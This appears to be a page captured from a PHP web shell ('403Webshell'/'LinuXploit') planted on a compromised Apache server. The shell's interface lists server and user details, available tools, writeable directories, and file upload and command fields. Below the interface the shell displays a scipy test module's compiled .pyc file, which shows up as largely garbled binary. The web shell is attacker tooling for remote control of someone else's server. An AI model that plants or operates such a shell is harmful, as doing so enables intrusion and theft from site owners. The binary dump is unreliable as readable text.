403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.37
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/special/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/special/tests/__pycache__/test_nan_inputs.cpython-311.pyc
�

d�c5���UdZddlmZmZddlZddlmZmZm	Z	ddl
Z
ddlmZ
iZeeefed<iZeeefed<d�Ze��\ZZe
j�dee�	��d
���Zd�ZdS)z3Test how the ufuncs in special handle nan inputs.

�)�Callable�DictN)�assert_array_equal�assert_�suppress_warnings�
KNOWNFAILURES�POSTPROCESSINGc���g}g}ttj��D]�}tj|}t|tj��s�/t�|��}|�+|�|��|�|���vtj
�d|���}|�tj||�����|�|����||fS)NF)�run�reason)�marks)
�sorted�sc�__dict__�
isinstance�np�ufuncr�get�append�pytest�mark�xfail�param)�ufuncs�ufunc_names�name�obj�msg�fails      �E/usr/lib/python3/dist-packages/scipy/special/tests/test_nan_inputs.py�_get_ufuncsr!s���
�F��K��r�{�#�#�%�%���k�$����#�r�x�(�(�	������$�$���;��M�M�#�������t�$�$�$�$��;�$�$��s�$�;�;�D��M�M�&�,�s�$�7�7�7�8�8�8����t�$�$�$�$��;����func)�idsc��tjf|jz}t��5}|�t
d��	t��5}|�t��||�}ddd��n#1swxYwYn#t$rYddd��dSwxYwddd��n#1swxYwY|tvrt||�}d�	|��}ttj|��d|���dS)N�-floating point number truncated to an integerzgot {} instead of nanT)�err_msg)r�nan�ninr�filter�RuntimeWarning�DeprecationWarning�	TypeErrorr	�formatr�isnan)r#�args�sup�resrs     r �test_nan_inputsr3&s����F�9�T�X��D�	�	�	�
���
�
�>�B�	D�	D�	D�	�"�$�$�
"���
�
�-�.�.�.��d�D�k��
"�
"�
"�
"�
"�
"�
"�
"�
"�
"�
"����
"�
"�
"�
"����	�	�	��
�
�
�
�
�
�
�
�	����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
��~����T�"�C�(��
!�
(�
(��
-�
-�C��r�x��}�}�d�C�8�8�8�8�8�8sY�B/�B� A;�/B�;A?	�?B�A?	�B�B/�
B �B/�B � B/�/B3�6B3c��t��5}|�td��tjt
jdd��}ttj|����ddd��dS#1swxYwYdS)Nr&�g�?)	rr*r+r�bdtrcrr(rr/)r1r2s  r �test_legacy_castr7;s���	�	�	����
�
�>�B�	D�	D�	D��h�r�v�q�#�&�&������
�
����	��������������������s�AA9�9A=�A=)�__doc__�typingrr�numpyr�
numpy.testingrrrr�
scipy.special�specialrr�str�__annotations__r	r!�UFUNCS�UFUNC_NAMESr�parametrizer3r7�r"r �<module>rDs�����"�!�!�!�!�!�!�!�����H�H�H�H�H�H�H�H�H�H�
�
�
�
�������&(�
�t�C��M�"�'�'�'�&(���S�(�]�#�(�(�(����$"�k�m�m����������[��9�9�9�9�:�9�9�(����r"

Youez - 2016 - github.com/yon3zu
LinuXploit